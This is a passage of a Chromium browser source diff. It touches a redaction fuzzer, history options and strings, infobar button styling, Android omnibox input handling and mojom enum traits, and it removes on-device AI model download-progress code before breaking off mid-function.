-    first_party_extension_ids =
-        std::make_unique<const char*[]>(first_party_extension_id_count + 1);
+    unowned_first_party_extension_ids = base::HeapArray<const char*>::WithSize(
+        first_party_extension_id_count + 1);
+
     for (int i = 0; i < first_party_extension_id_count; ++i) {
-      constexpr int kArbitraryMaxNameLength = 4096;
       first_party_extension_id_store.emplace_back(
           provider.ConsumeRandomLengthString(kArbitraryMaxNameLength));
-      UNSAFE_TODO(first_party_extension_ids[i]) =
+      unowned_first_party_extension_ids[i] =
           first_party_extension_id_store[i].c_str();
     }
-    UNSAFE_TODO(first_party_extension_ids[first_party_extension_id_count]) =
-        nullptr;
+    unowned_first_party_extension_ids[first_party_extension_id_count] = nullptr;
   }
 
-  redaction::RedactionTool redactor(first_party_extension_ids.get());
+  redaction::RedactionTool redactor(unowned_first_party_extension_ids.data());
   redactor.EnableCreditCardRedaction(true);
   redactor.Redact(provider.ConsumeRemainingBytesAsString());
   return 0;
diff --git a/components/history/core/browser/history_types.h b/components/history/core/browser/history_types.h
index 29fa6466a..bdc18b8 100644
--- a/components/history/core/browser/history_types.h
+++ b/components/history/core/browser/history_types.h
@@ -437,6 +437,10 @@
   // Defaults to false, filtering them out.
   bool include_actor_visits = false;
 
+  // If true, visits with a source other than SOURCE_ACTOR are included.
+  // Defaults to true.
+  bool include_user_visits = true;
+
   // Helpers to get the effective parameters values, since a value of 0 means
   // "unspecified".
   int EffectiveMaxCount() const;
diff --git a/components/history_strings.grdp b/components/history_strings.grdp
index 0f5707e0..02cfedd 100644
--- a/components/history_strings.grdp
+++ b/components/history_strings.grdp
@@ -5,6 +5,9 @@
   <message name="IDS_HISTORY_ACTION_MENU_DESCRIPTION" desc="Text used to identify the history entry drop-down menu for screen readers">
     Actions
   </message>
+  <message name="IDS_HISTORY_ACTOR_TASK_TOOLTIP" desc="This string indicates entries in Chrome history that are the result of Gemini in Chrome browsing while performing an auto browse task for the user. When users view their Chrome history, this string appears as a tooltip on an auto browse history entry. This is a shortened version of the sentence: 'Auto browse worked on this task for you'. The tone should be short and telegraphic.">
+    Auto browse task
+  </message>
   <message name="IDS_HISTORY_ARIA_ROLE_DESCRIPTION" desc="Text used for accessibility to describe the list of history entries.">
     List of history entries
   </message>
@@ -144,9 +147,6 @@
   <message name="IDS_HISTORY_UNKNOWN_DEVICE" desc="On the dropdown menu for a history entry, the text that is shown instead of a device name, when the device name is not known.">
     Unknown device
   </message>
-  <message name="IDS_ACTOR_TASK" desc="This string indicates entries in Chrome history that are the result of Gemini in Chrome browsing while performing an auto browse task for the user. When users view their Chrome history, this string appears as a tooltip on an auto browse history entry. This is a shortened version of the sentence: 'Auto browse worked on this task for you'. The tone should be short and telegraphic.">
-    Auto browse task
-  </message>
 
   <message name="IDS_HISTORY_SYNC_PROMO_TITLE" desc="The title of the history sync promo.">
     See your history on other devices
diff --git a/components/history_strings_grdp/IDS_ACTOR_TASK.png.sha1 b/components/history_strings_grdp/IDS_HISTORY_ACTOR_TASK_TOOLTIP.png.sha1
similarity index 100%
rename from components/history_strings_grdp/IDS_ACTOR_TASK.png.sha1
rename to components/history_strings_grdp/IDS_HISTORY_ACTOR_TASK_TOOLTIP.png.sha1
diff --git a/components/infobars/core/confirm_infobar_delegate.cc b/components/infobars/core/confirm_infobar_delegate.cc
index c75b1fd..663fe1a 100644
--- a/components/infobars/core/confirm_infobar_delegate.cc
+++ b/components/infobars/core/confirm_infobar_delegate.cc
@@ -4,9 +4,12 @@
 
 #include "components/infobars/core/confirm_infobar_delegate.h"
 
+#include <optional>
+
 #include "build/build_config.h"
 #include "ui/base/l10n/l10n_util.h"
 #include "ui/base/models/image_model.h"
+#include "ui/base/ui_base_types.h"
 #include "ui/strings/grit/ui_strings.h"
 
 ConfirmInfoBarDelegate::~ConfirmInfoBarDelegate() = default;
@@ -63,6 +66,11 @@
   return std::u16string();
 }
 
+std::optional<ui::ButtonStyle> ConfirmInfoBarDelegate::GetButtonStyle(
+    InfoBarButton button) const {
+  return std::nullopt;
+}
+
 bool ConfirmInfoBarDelegate::ShouldShowLinkBeforeButton() const {
   return false;
 }
diff --git a/components/infobars/core/confirm_infobar_delegate.h b/components/infobars/core/confirm_infobar_delegate.h
index a3aea2de..a15a1e8 100644
--- a/components/infobars/core/confirm_infobar_delegate.h
+++ b/components/infobars/core/confirm_infobar_delegate.h
@@ -5,12 +5,14 @@
 #ifndef COMPONENTS_INFOBARS_CORE_CONFIRM_INFOBAR_DELEGATE_H_
 #define COMPONENTS_INFOBARS_CORE_CONFIRM_INFOBAR_DELEGATE_H_
 
+#include <optional>
 #include <string>
 
 #include "base/observer_list.h"
 #include "build/build_config.h"
 #include "components/infobars/core/infobar_delegate.h"
 #include "components/infobars/core/infobar_manager.h"
+#include "ui/base/ui_base_types.h"
 #include "ui/gfx/text_constants.h"
 
 namespace infobars {
@@ -76,6 +78,11 @@
   // returns an empty tooltip.
   virtual std::u16string GetButtonTooltip(InfoBarButton button) const;
 
+  // Returns the style for the specified button. The default implementation
+  // returns std::nullopt, which means default styling logic will be used.
+  virtual std::optional<ui::ButtonStyle> GetButtonStyle(
+      InfoBarButton button) const;
+
   // Returns true if this specific infobar instance should use the
   // custom layout to show the link text before the button.
   virtual bool ShouldShowLinkBeforeButton() const;
diff --git a/components/infobars/core/infobar_delegate.h b/components/infobars/core/infobar_delegate.h
index 62247f8..4f9cd9e 100644
--- a/components/infobars/core/infobar_delegate.h
+++ b/components/infobars/core/infobar_delegate.h
@@ -212,6 +212,7 @@
     SESSION_RESTORE_INFOBAR_DELEGATE = 128,
     ROLL_BACK_MODE_B_INFOBAR_DELEGATE = 129,
     DEV_TOOLS_REMOTE_DEBUGGING_INFOBAR_DELEGATE = 130,
+    STARTUP_LAUNCH_INFOBAR_DELEGATE = 131,
   };
   // LINT.ThenChange(//tools/metrics/histograms/metadata/browser/enums.xml:InfoBarIdentifier)
 
diff --git a/components/live_caption/views/caption_bubble_browsertest.cc b/components/live_caption/views/caption_bubble_browsertest.cc
index 75da3ead..83d8845 100644
--- a/components/live_caption/views/caption_bubble_browsertest.cc
+++ b/components/live_caption/views/caption_bubble_browsertest.cc
@@ -133,7 +133,7 @@
 
   void WaitForUserDismissal() override {
     /* Block until the UI has been dismissed. */
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver(browser()).Wait();
     if (bubble_) {
       bubble_->SetModel(nullptr);
       bubble_ = nullptr;
diff --git a/components/media_effects/test/fake_video_capture_service.h b/components/media_effects/test/fake_video_capture_service.h
index 8e56635..81140496 100644
--- a/components/media_effects/test/fake_video_capture_service.h
+++ b/components/media_effects/test/fake_video_capture_service.h
@@ -55,10 +55,6 @@
       mojo::PendingRemote<video_capture::mojom::AcceleratorFactory>
           accelerator_factory) override {}
 
-  void BindVideoCaptureDeviceFactory(
-      mojo::PendingReceiver<crosapi::mojom::VideoCaptureDeviceFactory> receiver)
-      override {}
-
   void ConnectToCameraAppDeviceBridge(
       mojo::PendingReceiver<cros::mojom::CameraAppDeviceBridge>) override {}
 #endif  // BUILDFLAG(IS_CHROMEOS)
diff --git a/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInput.java b/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInput.java
index 09c8073..b0f0772 100644
--- a/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInput.java
+++ b/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInput.java
@@ -15,6 +15,7 @@
 import org.chromium.build.BuildConfig;
 import org.chromium.build.annotations.Initializer;
 import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
 import org.chromium.components.metrics.OmniboxEventProtos.OmniboxEventProto.PageClassification;
 import org.chromium.components.omnibox.AimToolsProto.ToolMode;
 import org.chromium.url.GURL;
@@ -211,13 +212,19 @@
     }
 
     /**
-     * Set the text as currently typed by the User. This also updates the state for keyword
-     * matching.
+     * Set the text as currently typed by the User.
      *
-     * @param text The user-typed text.
+     * <p>Allows passing null text to indicate no/empty input. When the new text differs from the
+     * existing content of the UserText the selection markers and keyword matching flags are reset.
+     * When new text matches the existing text no action is taken.
+     *
+     * @param text The user-typed text. Null text is automatically replaced with empty string.
      * @return The AutocompleteInput object.
      */
-    public AutocompleteInput setUserText(String text) {
+    public AutocompleteInput setUserText(@Nullable String text) {
+        if (text == null) text = "";
+        if (TextUtils.equals(text, mUserText)) return this;
+
         boolean oldTextUsesKeywordActivator =
                 !TextUtils.isEmpty(mUserText) && TextUtils.indexOf(mUserText, ' ') > 0;
         boolean newTextUsesKeywordActivator =
@@ -229,6 +236,8 @@
         mAllowExactKeywordMatch &= !(oldTextUsesKeywordActivator && !newTextUsesKeywordActivator);
 
         mUserText = text;
+        mSelectionStart = text.length();
+        mSelectionEnd = mSelectionStart;
         return this;
     }
 
@@ -272,9 +281,10 @@
         mHasAttachments = hasAttachments;
     }
 
-    public void setSelection(int rangeStart, int rangeEnd) {
+    public AutocompleteInput setSelection(int rangeStart, int rangeEnd) {
         mSelectionStart = rangeStart;
         mSelectionEnd = rangeEnd;
+        return this;
     }
 
     public int getSelectionStart() {
diff --git a/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInputUnitTest.java b/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInputUnitTest.java
index f65af47..3e6689a1 100644
--- a/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInputUnitTest.java
+++ b/components/omnibox/browser/android/java/src/org/chromium/components/omnibox/AutocompleteInputUnitTest.java
@@ -99,7 +99,7 @@
         assertEquals("", mInput.getUserText());
 
         mInput.setUserText(null);
-        assertEquals(null, mInput.getUserText());
+        assertEquals("", mInput.getUserText());
     }
 
     @Test
diff --git a/components/omnibox/common/android/OWNERS b/components/omnibox/common/android/OWNERS
new file mode 100644
index 0000000..603b9cf
--- /dev/null
+++ b/components/omnibox/common/android/OWNERS
@@ -0,0 +1 @@
+file://components/omnibox/browser/android/OWNERS
diff --git a/components/omnibox/common/android/java/src/org/chromium/components/omnibox/OmniboxFeatures.java b/components/omnibox/common/android/java/src/org/chromium/components/omnibox/OmniboxFeatures.java
index 8d1c235..d0c4850c 100644
--- a/components/omnibox/common/android/java/src/org/chromium/components/omnibox/OmniboxFeatures.java
+++ b/components/omnibox/common/android/java/src/org/chromium/components/omnibox/OmniboxFeatures.java
@@ -147,6 +147,13 @@
     public static final BooleanCachedFeatureParam sMultiattachmentFusebox =
             newBooleanParam(sOmniboxMultimodalInput, "multi_context", false);
 
+    public static final BooleanCachedFeatureParam sRedirectComposeplateButton =
+            newBooleanParam(sOmniboxMultimodalInput, "redirect_composeplate_button", true);
+
+    /** A necessary but not sufficient condition to show the current tab button. */
+    public static final BooleanCachedFeatureParam sAllowCurrentTab =
+            newBooleanParam(sOmniboxMultimodalInput, "allow_current_tab", true);
+
     /**
      * If the expanded set of inputs (model picker as well as canvas tool) should be options. These
      * new types, as well as all existing types, should be driven through PEC instead of hard coded
diff --git a/components/omnibox/composebox/BUILD.gn b/components/omnibox/composebox/BUILD.gn
index 51f2633..12821c7 100644
--- a/components/omnibox/composebox/BUILD.gn
+++ b/components/omnibox/composebox/BUILD.gn
@@ -41,10 +41,19 @@
           mojom = "composebox_query.mojom.InputState"
           cpp = "::omnibox::InputState"
         },
+        {
+          mojom = "composebox_query.mojom.FileUploadStatus"
+          cpp = "::contextual_search::FileUploadStatus"
+        },
+        {
+          mojom = "composebox_query.mojom.FileUploadErrorType"
+          cpp = "::contextual_search::FileUploadErrorType"
+        },
       ]
       traits_headers = [ "contextual_search_mojom_traits.h" ]
       traits_sources = [ "contextual_search_mojom_traits.cc" ]
       traits_deps = [
+        "//components/contextual_search:types",
         "//components/omnibox/common",
         "//third_party/omnibox_proto",
       ]
diff --git a/components/omnibox/composebox/DEPS b/components/omnibox/composebox/DEPS
index 21935569..e2c2be6 100644
--- a/components/omnibox/composebox/DEPS
+++ b/components/omnibox/composebox/DEPS
@@ -1,4 +1,5 @@
 include_rules = [
+  "+components/contextual_search",
   "+components/endpoint_fetcher",
   "+components/keyed_service/core",
   "+components/lens",
diff --git a/components/omnibox/composebox/contextual_search_mojom_traits.cc b/components/omnibox/composebox/contextual_search_mojom_traits.cc
index 4b6e653..28c694e 100644
--- a/components/omnibox/composebox/contextual_search_mojom_traits.cc
+++ b/components/omnibox/composebox/contextual_search_mojom_traits.cc
@@ -19,6 +19,8 @@
 using UsedSectionConfigDataView =
     composebox_query::mojom::SectionConfigDataView;
 using UsedInputStateDataView = composebox_query::mojom::InputStateDataView;
+using UsedFileUploadStatus = composebox_query::mojom::FileUploadStatus;
+using UsedFileUploadErrorType = composebox_query::mojom::FileUploadErrorType;
 
 }  // namespace
 
@@ -165,6 +167,120 @@
 }
 
 // static
+UsedFileUploadStatus
+EnumTraits<UsedFileUploadStatus, contextual_search::FileUploadStatus>::ToMojom(
+    contextual_search::FileUploadStatus input) {
+  switch (input) {
+    case contextual_search::FileUploadStatus::kNotUploaded:
+      return UsedFileUploadStatus::kNotUploaded;
+    case contextual_search::FileUploadStatus::kProcessing:
+      return UsedFileUploadStatus::kProcessing;
+    case contextual_search::FileUploadStatus::kValidationFailed:
+      return UsedFileUploadStatus::kValidationFailed;
+    case contextual_search::FileUploadStatus::kUploadStarted:
+      return UsedFileUploadStatus::kUploadStarted;
+    case contextual_search::FileUploadStatus::kUploadSuccessful:
+      return UsedFileUploadStatus::kUploadSuccessful;
+    case contextual_search::FileUploadStatus::kUploadFailed:
+      return UsedFileUploadStatus::kUploadFailed;
+    case contextual_search::FileUploadStatus::kUploadExpired:
+      return UsedFileUploadStatus::kUploadExpired;
+    case contextual_search::FileUploadStatus::kProcessingSuggestSignalsReady:
+      return UsedFileUploadStatus::kProcessingSuggestSignalsReady;
+  }
+  NOTREACHED();
+}
+
+// static
+bool EnumTraits<UsedFileUploadStatus, contextual_search::FileUploadStatus>::
+    FromMojom(UsedFileUploadStatus input,
+              contextual_search::FileUploadStatus* output) {
+  switch (input) {
+    case UsedFileUploadStatus::kNotUploaded:
+      *output = contextual_search::FileUploadStatus::kNotUploaded;
+      return true;
+    case UsedFileUploadStatus::kProcessing:
+      *output = contextual_search::FileUploadStatus::kProcessing;
+      return true;
+    case UsedFileUploadStatus::kValidationFailed:
+      *output = contextual_search::FileUploadStatus::kValidationFailed;
+      return true;
+    case UsedFileUploadStatus::kUploadStarted:
+      *output = contextual_search::FileUploadStatus::kUploadStarted;
+      return true;
+    case UsedFileUploadStatus::kUploadSuccessful:
+      *output = contextual_search::FileUploadStatus::kUploadSuccessful;
+      return true;
+    case UsedFileUploadStatus::kUploadFailed:
+      *output = contextual_search::FileUploadStatus::kUploadFailed;
+      return true;
+    case UsedFileUploadStatus::kUploadExpired:
+      *output = contextual_search::FileUploadStatus::kUploadExpired;
+      return true;
+    case UsedFileUploadStatus::kProcessingSuggestSignalsReady:
+      *output =
+          contextual_search::FileUploadStatus::kProcessingSuggestSignalsReady;
+      return true;
+  }
+  NOTREACHED();
+}
+
+// static
+UsedFileUploadErrorType
+EnumTraits<UsedFileUploadErrorType, contextual_search::FileUploadErrorType>::
+    ToMojom(contextual_search::FileUploadErrorType input) {
+  switch (input) {
+    case contextual_search::FileUploadErrorType::kUnknown:
+      return UsedFileUploadErrorType::kUnknown;
+    case contextual_search::FileUploadErrorType::kBrowserProcessingError:
+      return UsedFileUploadErrorType::kBrowserProcessingError;
+    case contextual_search::FileUploadErrorType::kNetworkError:
+      return UsedFileUploadErrorType::kNetworkError;
+    case contextual_search::FileUploadErrorType::kServerError:
+      return UsedFileUploadErrorType::kServerError;
+    case contextual_search::FileUploadErrorType::kServerSizeLimitExceeded:
+      return UsedFileUploadErrorType::kServerSizeLimitExceeded;
+    case contextual_search::FileUploadErrorType::kAborted:
+      return UsedFileUploadErrorType::kAborted;
+    case contextual_search::FileUploadErrorType::kImageProcessingError:
+      return UsedFileUploadErrorType::kImageProcessingError;
+  }
+  NOTREACHED();
+}
+
+// static
+bool EnumTraits<UsedFileUploadErrorType,
+                contextual_search::FileUploadErrorType>::
+    FromMojom(UsedFileUploadErrorType input,
+              contextual_search::FileUploadErrorType* output) {
+  switch (input) {
+    case UsedFileUploadErrorType::kUnknown:
+      *output = contextual_search::FileUploadErrorType::kUnknown;
+      return true;
+    case UsedFileUploadErrorType::kBrowserProcessingError:
+      *output = contextual_search::FileUploadErrorType::kBrowserProcessingError;
+      return true;
+    case UsedFileUploadErrorType::kNetworkError:
+      *output = contextual_search::FileUploadErrorType::kNetworkError;
+      return true;
+    case UsedFileUploadErrorType::kServerError:
+      *output = contextual_search::FileUploadErrorType::kServerError;
+      return true;
+    case UsedFileUploadErrorType::kServerSizeLimitExceeded:
+      *output =
+          contextual_search::FileUploadErrorType::kServerSizeLimitExceeded;
+      return true;
+    case UsedFileUploadErrorType::kAborted:
+      *output = contextual_search::FileUploadErrorType::kAborted;
+      return true;
+    case UsedFileUploadErrorType::kImageProcessingError:
+      *output = contextual_search::FileUploadErrorType::kImageProcessingError;
+      return true;
+  }
+  NOTREACHED();
+}
+
+// static
 omnibox::ToolMode
 StructTraits<UsedToolConfigDataView, omnibox::ToolConfig>::tool(
     const omnibox::ToolConfig& config) {
diff --git a/components/omnibox/composebox/contextual_search_mojom_traits.h b/components/omnibox/composebox/contextual_search_mojom_traits.h
index d779d8d..33881f36 100644
--- a/components/omnibox/composebox/contextual_search_mojom_traits.h
+++ b/components/omnibox/composebox/contextual_search_mojom_traits.h
@@ -10,6 +10,7 @@
 #include <vector>
 
 #include "base/containers/span.h"
+#include "components/contextual_search/contextual_search_types.h"
 #include "components/omnibox/common/input_state.h"
 #include "components/omnibox/composebox/composebox_query.mojom-forward.h"
 #include "mojo/public/cpp/bindings/enum_traits.h"
@@ -45,6 +46,24 @@
 };
 
 template <>
+struct EnumTraits<composebox_query::mojom::FileUploadStatus,
+                  contextual_search::FileUploadStatus> {
+  static composebox_query::mojom::FileUploadStatus ToMojom(
+      contextual_search::FileUploadStatus input);
+  static bool FromMojom(composebox_query::mojom::FileUploadStatus input,
+                        contextual_search::FileUploadStatus* output);
+};
+
+template <>
+struct EnumTraits<composebox_query::mojom::FileUploadErrorType,
+                  contextual_search::FileUploadErrorType> {
+  static composebox_query::mojom::FileUploadErrorType ToMojom(
+      contextual_search::FileUploadErrorType input);
+  static bool FromMojom(composebox_query::mojom::FileUploadErrorType input,
+                        contextual_search::FileUploadErrorType* output);
+};
+
+template <>
 struct StructTraits<composebox_query::mojom::ToolConfigDataView,
                     omnibox::ToolConfig> {
   static omnibox::ToolMode tool(const omnibox::ToolConfig& config);
diff --git a/components/on_device_ai/BUILD.gn b/components/on_device_ai/BUILD.gn
index 6790b2f..f1daf0b6c 100644
--- a/components/on_device_ai/BUILD.gn
+++ b/components/on_device_ai/BUILD.gn
@@ -16,41 +16,3 @@
     "//mojo/public/cpp/bindings",
   ]
 }
-
-source_set("ai_model_download_progress_manager") {
-  sources = [
-    "ai_model_download_progress_manager.cc",
-    "ai_model_download_progress_manager.h",
-  ]
-  deps = [
-    ":on_device_ai",
-    "//services/on_device_model/public/mojom",
-  ]
-}
-
-source_set("ai_crx_component") {
-  sources = [
-    "ai_crx_component.cc",
-    "ai_crx_component.h",
-  ]
-  deps = [
-    ":ai_model_download_progress_manager",
-    "//base",
-    "//components/component_updater",
-    "//components/update_client",
-  ]
-}
-
-source_set("test_support") {
-  testonly = true
-  sources = [
-    "test_support/fake_component.cc",
-    "test_support/fake_component.h",
-  ]
-  deps = [
-    "//components/component_updater:test_support",
-    "//components/update_client",
-    "//testing/gmock",
-    "//testing/gtest",
-  ]
-}
diff --git a/components/on_device_ai/DEPS b/components/on_device_ai/DEPS
index e4950e1..a35388c 100644
--- a/components/on_device_ai/DEPS
+++ b/components/on_device_ai/DEPS
@@ -3,10 +3,7 @@
 # found in the LICENSE file.
 
 include_rules = [
-  "+components/component_updater",
   "+components/optimization_guide/core",
-  "+components/update_client",
   "+mojo/public/cpp/bindings",
-  "+services/on_device_model",
   "+third_party/blink/public/mojom/ai",
 ]
diff --git a/components/on_device_ai/ai_crx_component.cc b/components/on_device_ai/ai_crx_component.cc
deleted file mode 100644
index b623440..0000000
--- a/components/on_device_ai/ai_crx_component.cc
+++ /dev/null
@@ -1,112 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/on_device_ai/ai_crx_component.h"
-
-#include <memory>
-
-#include "components/update_client/crx_update_item.h"
-
-namespace on_device_ai {
-
-namespace {
-
-bool IsDownloadEvent(const component_updater::CrxUpdateItem& item) {
-  // See class comment: components/update_client/component.h
-  switch (item.state) {
-    case update_client::ComponentState::kDownloading:
-    case update_client::ComponentState::kDecompressing:
-    case update_client::ComponentState::kPatching:
-    case update_client::ComponentState::kUpdating:
-    case update_client::ComponentState::kUpToDate:
-      return item.downloaded_bytes >= 0 && item.total_bytes >= 0;
-    case update_client::ComponentState::kNew:
-    case update_client::ComponentState::kChecking:
-    case update_client::ComponentState::kCanUpdate:
-    case update_client::ComponentState::kUpdated:
-    case update_client::ComponentState::kUpdateError:
-    case update_client::ComponentState::kRun:
-      return false;
-  }
-}
-
-bool IsAlreadyInstalled(const component_updater::CrxUpdateItem& item) {
-  // See class comment: components/update_client/component.h
-  switch (item.state) {
-    case update_client::ComponentState::kUpdated:
-    case update_client::ComponentState::kUpToDate:
-      return true;
-    case update_client::ComponentState::kNew:
-    case update_client::ComponentState::kChecking:
-    case update_client::ComponentState::kCanUpdate:
-    case update_client::ComponentState::kDownloading:
-    case update_client::ComponentState::kDecompressing:
-    case update_client::ComponentState::kPatching:
-    case update_client::ComponentState::kUpdating:
-    case update_client::ComponentState::kUpdateError:
-    case update_client::ComponentState::kRun:
-      return false;
-  }
-}
-
-}  // namespace
-
-// static
-base::flat_set<std::unique_ptr<AIModelDownloadProgressManager::Component>>
-AICrxComponent::FromComponentIds(
-    component_updater::ComponentUpdateService* component_update_service,
-    base::flat_set<std::string> component_ids) {
-  base::flat_set<std::unique_ptr<Component>> components;
-  components.reserve(component_ids.size());
-
-  for (std::string component_id : component_ids) {
-    components.emplace(std::make_unique<AICrxComponent>(
-        component_update_service, std::move(component_id)));
-  }
-
-  return components;
-}
-
-AICrxComponent::AICrxComponent(
-    component_updater::ComponentUpdateService* component_update_service,
-    std::string component_id)
-    : component_id_(std::move(component_id)) {
-  component_updater::CrxUpdateItem item;
-  bool success =
-      component_update_service->GetComponentDetails(component_id_, &item);
-
-  // When `success` returns false, it means the component hasn't
-  // been registered yet. `GetComponentDetails` doesn't fill out `item` in this
-  // case, and we can just treat the component as if it had a state of `kNew`.
-  if (success && IsAlreadyInstalled(item)) {
-    // We just need to set the downloaded bytes and total bytes equal to each
-    // other to indicate to the `AIModelDownloadProgressManager` that we're
-    // installed.
-    //
-    // We don't set it to `item`'s `downloaded_bytes` and `total_bytes` because
-    // they may be less than zero which `AIModelDownloadProgressManager` doesn't
-    // allow.
-    SetDownloadedBytes(0);
-    SetTotalBytes(0);
-    return;
-  }
-
-  // Watch for progress updates.
-  component_updater_observation_.Observe(component_update_service);
-}
-
-AICrxComponent::~AICrxComponent() = default;
-
-// component_updater::ServiceObserver:
-void AICrxComponent::OnEvent(const component_updater::CrxUpdateItem& item) {
-  if (!IsDownloadEvent(item) || item.id != component_id_) {
-    return;
-  }
-
-  // Crx components may send downloaded_bytes that exceed the total_bytes.
-  SetDownloadedBytes(std::min(item.downloaded_bytes, item.total_bytes));
-  SetTotalBytes(item.total_bytes);
-}
-
-}  // namespace on_device_ai
diff --git a/components/on_device_ai/ai_crx_component.h b/components/on_device_ai/ai_crx_component.h
deleted file mode 100644
index d08f587..0000000
--- a/components/on_device_ai/ai_crx_component.h
+++ /dev/null
@@ -1,41 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef COMPONENTS_ON_DEVICE_AI_AI_CRX_COMPONENT_H_
-#define COMPONENTS_ON_DEVICE_AI_AI_CRX_COMPONENT_H_
-
-#include "components/component_updater/component_updater_service.h"
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
-
-namespace on_device_ai {
-
-// A `AIModelDownloadProgressManager::Component` to report progress updates from
-// the `ComponentUpdateService` for the `component_id`.
-class AICrxComponent : public AIModelDownloadProgressManager::Component,
-                       public component_updater::ServiceObserver {
- public:
-  // Helper function to convert a set of crx component ids to a set of
-  // `std::unique_ptr`s of this class.
-  static base::flat_set<std::unique_ptr<Component>> FromComponentIds(
-      component_updater::ComponentUpdateService* component_update_service,
-      base::flat_set<std::string> component_ids);
-
-  AICrxComponent(
-      component_updater::ComponentUpdateService* component_update_service,
-      std::string component_id);
-  ~AICrxComponent() override;
-
-  // component_updater::ServiceObserver:
-  void OnEvent(const component_updater::CrxUpdateItem& item) override;
-
- private:
-  std::string component_id_;
-
-  base::ScopedObservation<component_updater::ComponentUpdateService,
-                          component_updater::ComponentUpdateService::Observer>
-      component_updater_observation_{this};
-};
-}  // namespace on_device_ai
-
-#endif  // COMPONENTS_ON_DEVICE_AI_AI_CRX_COMPONENT_H_
diff --git a/components/on_device_ai/ai_model_download_progress_manager.cc b/components/on_device_ai/ai_model_download_progress_manager.cc
deleted file mode 100644
index 3fc6c643..0000000
--- a/components/on_device_ai/ai_model_download_progress_manager.cc
+++ /dev/null
@@ -1,214 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
-
-#include "base/functional/bind.h"
-#include "components/on_device_ai/ai_utils.h"
-
-namespace on_device_ai {
-
-AIModelDownloadProgressManager::AIModelDownloadProgressManager() = default;
-AIModelDownloadProgressManager::~AIModelDownloadProgressManager() = default;
-
-void AIModelDownloadProgressManager::AddObserver(
-    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-        observer_remote,
-    base::flat_set<std::unique_ptr<Component>> components) {
-  reporters_.emplace(std::make_unique<Reporter>(
-      *this, std::move(observer_remote), std::move(components)));
-}
-
-void AIModelDownloadProgressManager::RemoveReporter(Reporter* reporter) {
-  CHECK(reporter);
-  reporters_.erase(reporter);
-}
-
-int AIModelDownloadProgressManager::GetNumberOfReporters() {
-  return reporters_.size();
-}
-
-AIModelDownloadProgressManager::Component::Component() = default;
-AIModelDownloadProgressManager::Component::~Component() = default;
-
-AIModelDownloadProgressManager::Component::Component(Component&&) = default;
-
-void AIModelDownloadProgressManager::Component::SetDownloadedBytes(
-    int64_t downloaded_bytes) {
-  if (downloaded_bytes < downloaded_bytes_.value_or(0)) {
-    return;
-  }
-
-  downloaded_bytes_ = downloaded_bytes;
-  MaybeRunEventCallback();
-}
-void AIModelDownloadProgressManager::Component::SetTotalBytes(
-    int64_t total_bytes) {
-  if (total_bytes == total_bytes_) {
-    return;
-  }
-
-  // `total_bytes_` should never change after it's been set.
-  CHECK(!total_bytes_.has_value());
-  CHECK_GE(total_bytes, 0);
-
-  total_bytes_ = total_bytes;
-  MaybeRunEventCallback();
-}
-
-void AIModelDownloadProgressManager::Component::SetEventCallback(
-    EventCallback event_callback) {
-  event_callback_ = std::move(event_callback);
-  MaybeRunEventCallback();
-}
-
-void AIModelDownloadProgressManager::Component::MaybeRunEventCallback() {
-  if (!determined_bytes() || !event_callback_) {
-    return;
-  }
-  event_callback_.Run(
-      *this, !last_determined_bytes_,
-      downloaded_bytes_.value() - last_downloaded_bytes_.value_or(0));
-  last_downloaded_bytes_ = downloaded_bytes_;
-  last_determined_bytes_ = true;
-}
-
-AIModelDownloadProgressManager::Reporter::Reporter(
-    AIModelDownloadProgressManager& manager,
-    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-        observer_remote,
-    base::flat_set<std::unique_ptr<Component>> components)
-    : manager_(manager),
-      observer_remote_(std::move(observer_remote)),
-      components_(std::move(components)) {
-  observer_remote_.set_disconnect_handler(base::BindOnce(
-      &Reporter::OnRemoteDisconnect, weak_ptr_factory_.GetWeakPtr()));
-
-  // Don't watch any components that are already installed.
-  for (auto iter = components_.begin(); iter != components_.end();) {
-    if ((*iter)->is_complete()) {
-      iter = components_.erase(iter);
-      continue;
-    }
-
-    Component& component = *iter->get();
-
-    // Watch for progress updates.
-    component.SetEventCallback(base::BindRepeating(
-        &Reporter::OnEvent, weak_ptr_factory_.GetWeakPtr()));
-
-    ++iter;
-  }
-
-  // If there are no component ids to observe, just send zero and one hundred
-  // percent.
-  if (components_.empty()) {
-    observer_remote_->OnDownloadProgressUpdate(
-        0, on_device_ai::kNormalizedDownloadProgressMax);
-    observer_remote_->OnDownloadProgressUpdate(
-        on_device_ai::kNormalizedDownloadProgressMax,
-        on_device_ai::kNormalizedDownloadProgressMax);
-  }
-}
-
-AIModelDownloadProgressManager::Reporter::~Reporter() = default;
-
-void AIModelDownloadProgressManager::Reporter::OnRemoteDisconnect() {
-  // Destroy `this` when the `ModelDownloadProgressObserver` is garbage
-  // collected in the renderer.
-  manager_->RemoveReporter(this);
-}
-
-bool AIModelDownloadProgressManager::Reporter::ReadyToReport() {
-  // If we have observed the downloaded bytes of all our components then we're
-  // ready to start reporting.
-  return determined_components_ == static_cast<int>(components_.size());
-}
-
-void AIModelDownloadProgressManager::Reporter::ProcessEvent(
-    const Component& component,
-    bool just_determined,
-    int64_t downloaded_bytes_delta) {
-  // Should only receive events for components that have their bytes determined.
-  CHECK(component.determined_bytes());
-
-  CHECK_GE(component.downloaded_bytes(), 0);
-  CHECK_GE(component.total_bytes(), 0);
-
